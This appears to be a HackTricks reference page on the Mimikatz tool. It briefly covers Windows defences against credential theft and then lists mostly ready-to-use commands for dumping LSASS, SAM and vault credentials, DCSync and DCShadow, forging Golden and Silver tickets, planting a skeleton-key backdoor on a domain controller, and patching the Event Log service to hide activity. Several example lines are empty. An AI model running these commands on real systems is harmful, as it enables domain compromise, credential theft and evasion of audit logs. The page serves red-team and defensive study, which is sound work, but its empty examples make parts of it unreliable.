Mimikatz
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Deepen your expertise in Mobile Security with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
This page is based on one from adsecurity.org. Check the original for further info!
From Windows 8.1 and Windows Server 2012 R2 onwards, significant measures have been implemented to safeguard against credential theft:
LM hashes and plain-text passwords are no longer stored in memory to enhance security. A specific registry setting, HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential" must be configured with a DWORD value of 0 to disable Digest Authentication, ensuring "clear-text" passwords are not cached in LSASS.
LSA Protection is introduced to shield the Local Security Authority (LSA) process from unauthorized memory reading and code injection. This is achieved by marking the LSASS as a protected process. Activation of LSA Protection involves:
Modifying the registry at HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa by setting RunAsPPL to dword:00000001.
Implementing a Group Policy Object (GPO) that enforces this registry change across managed devices.
Despite these protections, tools like Mimikatz can circumvent LSA Protection using specific drivers, although such actions are likely to be recorded in event logs.
Administrators typically have SeDebugPrivilege, enabling them to debug programs. This privilege can be restricted to prevent unauthorized memory dumps, a common technique used by attackers to extract credentials from memory. However, even with this privilege removed, the TrustedInstaller account can still perform memory dumps using a customized service configuration:
This allows the dumping of the lsass.exe memory to a file, which can then be analyzed on another system to extract credentials:
Event log tampering in Mimikatz involves two primary actions: clearing event logs and patching the Event service to prevent logging of new events. Below are the commands for performing these actions:
Command: This action is aimed at deleting the event logs, making it harder to track malicious activities.
Mimikatz does not provide a direct command in its standard documentation for clearing event logs directly via its command line. However, event log manipulation typically involves using system tools or scripts outside of Mimikatz to clear specific logs (e.g., using PowerShell or Windows Event Viewer).
Command: event::drop
This experimental command is designed to modify the Event Logging Service's behavior, effectively preventing it from recording new events.
Example: mimikatz "privilege::debug" "event::drop" exit
The privilege::debug command ensures that Mimikatz operates with the necessary privileges to modify system services.
The event::drop command then patches the Event Logging service.
A Golden Ticket allows for domain-wide access impersonation. Key command and parameters:
Command: kerberos::golden
Parameters:
/domain: The domain name.
/sid: The domain's Security Identifier (SID).
/user: The username to impersonate.
/krbtgt: The NTLM hash of the domain's KDC service account.
/ptt: Directly injects the ticket into memory.
/ticket: Saves the ticket for later use.
Example:
Silver Tickets grant access to specific services. Key command and parameters:
Command: Similar to Golden Ticket but targets specific services.
Parameters:
/service: The service to target (e.g., cifs, http).
Other parameters similar to Golden Ticket.
Example:
Trust Tickets are used for accessing resources across domains by leveraging trust relationships. Key command and parameters:
Command: Similar to Golden Ticket but for trust relationships.
Parameters:
/target: The target domain's FQDN.
/rc4: The NTLM hash for the trust account.
Example:
Listing Tickets:
Command: kerberos::list
Lists all Kerberos tickets for the current user session.
Pass the Cache:
Command: kerberos::ptc
Injects Kerberos tickets from cache files.
Example: mimikatz "kerberos::ptc /ticket:ticket.kirbi" exit
Pass the Ticket:
Command: kerberos::ptt
Allows using a Kerberos ticket in another session.
Example: mimikatz "kerberos::ptt /ticket:ticket.kirbi" exit
Purge Tickets:
Command: kerberos::purge
Clears all Kerberos tickets from the session.
Useful before using ticket manipulation commands to avoid conflicts.
DCShadow: Temporarily make a machine act as a DC for AD object manipulation.
mimikatz "lsadump::dcshadow /object:targetObject /attribute:attributeName /value:newValue" exit
DCSync: Mimic a DC to request password data.
mimikatz "lsadump::dcsync /user:targetUser /domain:targetDomain" exit
LSADUMP::LSA: Extract credentials from LSA.
mimikatz "lsadump::lsa /inject" exit
LSADUMP::NetSync: Impersonate a DC using a computer account's password data.
No specific command provided for NetSync in original context.
LSADUMP::SAM: Access local SAM database.
mimikatz "lsadump::sam" exit
LSADUMP::Secrets: Decrypt secrets stored in the registry.
mimikatz "lsadump::secrets" exit
LSADUMP::SetNTLM: Set a new NTLM hash for a user.
mimikatz "lsadump::setntlm /user:targetUser /ntlm:newNtlmHash" exit
LSADUMP::Trust: Retrieve trust authentication information.
mimikatz "lsadump::trust" exit
MISC::Skeleton: Inject a backdoor into LSASS on a DC.
mimikatz "privilege::debug" "misc::skeleton" exit
PRIVILEGE::Backup: Acquire backup rights.
mimikatz "privilege::backup" exit
PRIVILEGE::Debug: Obtain debug privileges.
mimikatz "privilege::debug" exit
SEKURLSA::LogonPasswords: Show credentials for logged-on users.
mimikatz "sekurlsa::logonpasswords" exit
SEKURLSA::Tickets: Extract Kerberos tickets from memory.
mimikatz "sekurlsa::tickets /export" exit
SID::add/modify: Change SID and SIDHistory.
Add: mimikatz "sid::add /user:targetUser /sid:newSid" exit
Modify: No specific command for modify in original context.
TOKEN::Elevate: Impersonate tokens.
mimikatz "token::elevate /domainadmin" exit
TS::MultiRDP: Allow multiple RDP sessions.
mimikatz "ts::multirdp" exit
TS::Sessions: List TS/RDP sessions.
No specific command provided for TS::Sessions in original context.
Extract passwords from Windows Vault.
mimikatz "vault::cred /patch" exit
Deepen your expertise in Mobile Security with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
